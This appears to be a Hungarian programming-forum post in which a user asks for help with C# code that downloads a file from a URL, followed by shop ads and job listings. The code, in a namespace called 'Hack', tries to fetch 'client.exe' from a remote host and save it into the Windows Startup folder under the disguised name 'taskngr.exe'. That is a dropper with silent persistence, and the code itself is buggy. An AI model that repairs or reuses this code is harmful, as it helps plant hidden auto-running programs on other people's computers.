Új hozzászólás Aktív témák
-
Dinter
addikt
Sziasztok. Azt szeretném megcsinálni, hogy a program a netről URL alapján letöltsön a gépre egy fájlt. Nekem azt mondták, hogy először létrehozod, majd bele kell írni. Nos itt a forráskód:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Net;
namespace Hack
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void label1_Click(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
}
private void label3_Click(object sender, EventArgs e)
{
}
}
class Letrehozas
{
public static void Letoltes()
{
StreamWriter file = new StreamWriter(Application.UserAppDataPath + "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\taskngr.exe");
File.Create(Download("http://dinter.atw.hu/client.exe"));
file.Close();
}
public static string Download(string uri)
{
WebClient client = new WebClient();
Stream data = client.OpenRead(uri);
StreamReader reader = new StreamReader(data);
string s = reader.ReadToEnd();
data.Close();
reader.Close();
return s;
}
}
}Próbáltam rendszergazdaként és nélküle is indítani a programot. Külön lejön a program.
Új hozzászólás Aktív témák
● ha kódot szúrsz be, használd a PROGRAMKÓD formázási funkciót!
- Telefon felvásárlás!! iPhone 12 Mini/iPhone 12/iPhone 12 Pro/iPhone 12 Pro Max
- BESZÁMÍTÁS! MSI B350M R5 1400 8GB DDR4 240GB SSD 1TB HDD GTX 1060 3GB Rampage SHIVA DeepCool 400W
- Lenovo P500 - 1650-2690 v3 akár 12 mag/24 szál, 16-32GB DDR4 RAM, 490W 80+gold táp, számla, 6 hó gar
- Vásárlunk iPhone 12/12 Mini/12 Pro/12 Pro Max
- Dell Latitude 5420 14" Touchscreen i5-1135G7 16GB 512GB 1 év garancia
Állásajánlatok
Cég: Laptopszaki Kft.
Város: Budapest
Cég: PCMENTOR SZERVIZ KFT.
Város: Budapest

